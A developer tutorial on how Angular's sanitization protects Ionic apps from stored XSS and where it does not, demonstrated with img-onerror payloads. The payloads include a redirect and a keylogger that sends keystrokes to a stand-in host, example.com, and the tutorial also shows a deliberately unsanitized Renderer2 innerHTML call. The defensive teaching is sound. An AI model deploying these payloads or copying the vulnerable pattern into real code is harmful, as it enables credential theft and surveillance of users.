Protecting Against XSS (Cross Site Scripting) Exploits in Ionic (Angular)

11 min read

Originally published January 18, 2021

In this article we are going to explore when Angular's XSS security model will help protect your application from XSS JavaScript injection attacks, and when it won't. It is important to note that although the client side code can help protect against XSS vulnerabilities, it should not be the only mitigation step you take against these attacks.

We will be dealing with a Stored XSS attack (one of the three main types of XSS attacks), which means that the malicious code has been stored in our database (e.g. a user's comment or status that includes some malicious HTML). Ideally, we would have never allowed executable JavaScript to have been stored in the database in the first place, but having Angular or our own frontend code as our second line of defence is a good idea. The idea of having multiple lines of defence to protect against vulnerabilities, just like having some form of two-factor authentication for your logins, is often referred to as Defense in Depth.

Outline

Source code

What is an XSS Vulnerability

The main focus of this article will be on Angular's XSS security model and how it deals with potential exploits, but let's first quickly cover the basic concept of an XSS attack. There are many different forms that an XSS attack might come in and multiple different attack vectors to exploit in order to comprimise a vulnerable application. However, the basic idea is that an XSS attack will allow the attacker to to run arbitrary JavaScript code on your application.

This can have a broad range of consequences, the manner and severity of which will depend on what your application does and the way in which the XSS was injected. You might have an XSS exploit that is activated just by a single user, or it might affect any users who attempt to load a specific page or post that contains a malicious image, or it might affect every single user on the site (e.g. a script that you are loading globally is compromised).

I would recommend doing a bit of searching and exploring different types of XSS attacks to get familiar with what is possible, but I have prepared a couple of examples that we will be looking at in this article. As I mentioned, we are considering a Stored XSS attack where a user has been able to upload some custom HTML to our database through a standard comment form containing malicious JavaScript.

Let's take a look at the examples.

Example 1 - Displaying an alert

this.maliciousString = `<img src=nonexistentimage onerror="alert('Hello there')" />`;

This HTML string attempts to load an image that does not exist. This will cause an error, which will then cause the onerror listener to execute its code:

alert("Hello there");

This means that whenever the user's browser attempts to load this image, the XSS exploit will be executed. In this case, it will display an alert on the user's screen that says Hello there. Annoying, perhaps, but not much of a security threat in this form. Instead of a simple Hello there it could be worse by saying something obscene, or by advertising something to the user, but in the end it is only just a text alert. The following examples will be more malicious in nature.

Example 2 - Redirecting the user to another website

this.maliciousString = `<img src=nonexistentimage onerror="window.location='https://www.google.com'" />`;

This is the same exploit with a different payload this time. This will execute the following code when the image attempts to load:

window.location = "https://www.google.com";

This will redirect the user's browser to whatever URL is supplied. You can see how this would be a more serious security threat. Our attacker might use this to send the user to an inappropriate site, to their own site for the sake of getting more traffic, or to a site intended to compromise the user in some other way. Perhaps one of the most dangerous aspects of this is that it could be used in a phishing attempt. The attacker could use this exploit to redirect you to a login page that looks just like your applications login page, except that it will be controlled by the attacker and any credentials entered will be stolen. Unless you are paying close attention to the URL bar, you might not even notice.

Even people who might usually be careful with checking URLs when clicking on links or first visiting a website might not continue to check the URL once they have already been browsing the real website. If we are talking about an Ionic application that has been deployed to iOS/Android then it is even more devious because the URL bar of the web view won't even be visible.

Example 3 - Listening for key presses

this.maliciousString = `<img src=nonexistentimage onerror="document.onkeypress=function(e){console.log(e.key)}" />`;

This time the attacker is attempting to run the following code:

document.onkeypress = function (e) {
  console.log(e.key);
};

This will log out every single key press to the console. It looks kind of scary but in the end it is just being logged to the users own browser. Unless the attacker had physical or remote access to the computer itself to inspect the console logs then there is not much to be gained from this, unless...

Example 4 - Keylogger

this.maliciousString = `<img src=nonexistentimage onerror="var keys = [];setInterval(function(){var keyString=keys.join('');fetch('https://example.com/keylogger?keys=' + keyString)}, 10000);}document.onkeypress=function(e){keys.push(e.key);" />`;

This takes the same concept from the previous example, but turns it into a much more serious threat. This XSS exploit will execute the following code:

var keys = [];

setInterval(function(){
  var keyString=keys.join('');
  fetch('https://example.com/keylogger?keys=' + keyString)}, 10000);
}

document.onkeypress=function(e){keys.push(e.key);

Every key that is pressed will be pushed to the keys array. Then, every 10 seconds, that array will be appended onto a GET request that is sent to attackers own website (example.com in this case). The attacker would then be able to see all of the key presses made by the user remotely. This is a huge security threat.

This is just an example I quickly pieced together to demonstrate the vulnerability, a more complex/efficient script for retrieving the user's key presses could certainly be created to make this even easier for the attacker.

How does Angular handle XSS?

We have considered a few different examples of exploits with varying levels of seriousness, but you should always assume you will be dealing with the most malicious example possible. Generally, the attacker could execute any JavaScript they want - there is no distinguishing between code that is more or less malicious - so if any code can be injected you should assume that any code can be injected.

Our first line of defence has failed, we have a Stored XSS vulnerability, now how do we stop it on the front end? One great security benefit of using Angular is that it has a mechanism for automatically stripping out executable JavaScript from values that are bound to the template.

However, do not assume that it is not possible for Stored XSS exploits to be injected into your Ionic/Angular applications. I am about to show you just how easy it would be to make a mistake in this regard.

When Angular will prevent XSS

Here is a scenario where Angular will protect your application from the malicious examples we have discussed:

<div #userContent id="user-content" [innerHTML]="maliciousString"></div>

Binding to innerHTML can be dangerous business, because the value that is supplied to it will be treated as HTML and will execute in the DOM like any other HTML. Fortunately, Angular will automatically sanitize values that are bound to innerHTML in the template. All of the examples we have discussed will be thwarted if we were to include them in our template using the code above.

When Angular will NOT prevent XSS

You might feel safe thinking that Angular will automatically sanitize values that are passed to innerHTML. However, this automatic sanitizing only happens when the value is bound in the template. If you were to set the innerHTML property directly:

// DANGER - Vulnerable to XSS
this.renderer.setProperty(this.userContent.nativeElement, "innerHTML", this.maliciousString);

The malicious code will not be sanitised, and all of the example exploits we discussed would successfully execute under this circumstance.

Manually sanitizing potential XSS threats

Given that Angular does not automatically strip dangerous HTML from values when manually binding to innerHTML using the renderer, how can we go about making these values safe ourselves?

We can also access Angular's sanitize method directly through the DomSanitizer available through @angular/platform-browser. The DomSanitizer provides us with the ability to both use Angular's sanitization through the sanitize method, and to circumvent sanitization where it would otherwise be applied through the use of bypassSecurityTrustX methods (this is dangerous, but there are some legitimate use cases for this, like embedding a photo into the page that was just taken by the devices camera).

To use the sanitize method of the DomSanitizer you will need to import the sanitizer itself and inject it through the constructor, and you will also need to import SecurityContext from @angular/core. Using SecurityContext will allow us to indicate what the string we are trying to sanitizer is (e.g. HTML, Resource URL, Style, Script, URL):

import {
  Component,
  AfterViewInit,
  ViewChild,
  ElementRef,
  Renderer2,
  SecurityContext,
} from "@angular/core";
import { DomSanitizer } from "@angular/platform-browser";
  constructor(private renderer: Renderer2, private sanitizer: DomSanitizer) {}
this.renderer.setProperty(
  this.userContent.nativeElement,
  "innerHTML",
  this.sanitizer.sanitize(SecurityContext.HTML, this.maliciousString)
);

If you were to try any of our example attacks with the above code, you will see that they are rendered harmless. Any time that Angular does strip out anything due to sanitization, it will display a warning in your console log during development.

I would highly recommend re-creating these examples yourself or having a play around with the source code available with this tutorial. It really helps to see these concepts in action rather than just having a general idea of when Angular's automated protection would apply. See if you can come up with your own potential exploits and make sure that you understand how to stop them. Also remember that we have just considered a small subset of potential XSS attacks under one specific attack vector (un-sanitized HTML that is set using the innerHTML property). Understanding just what we have discussed above is not enough to protect your application from XSS attacks.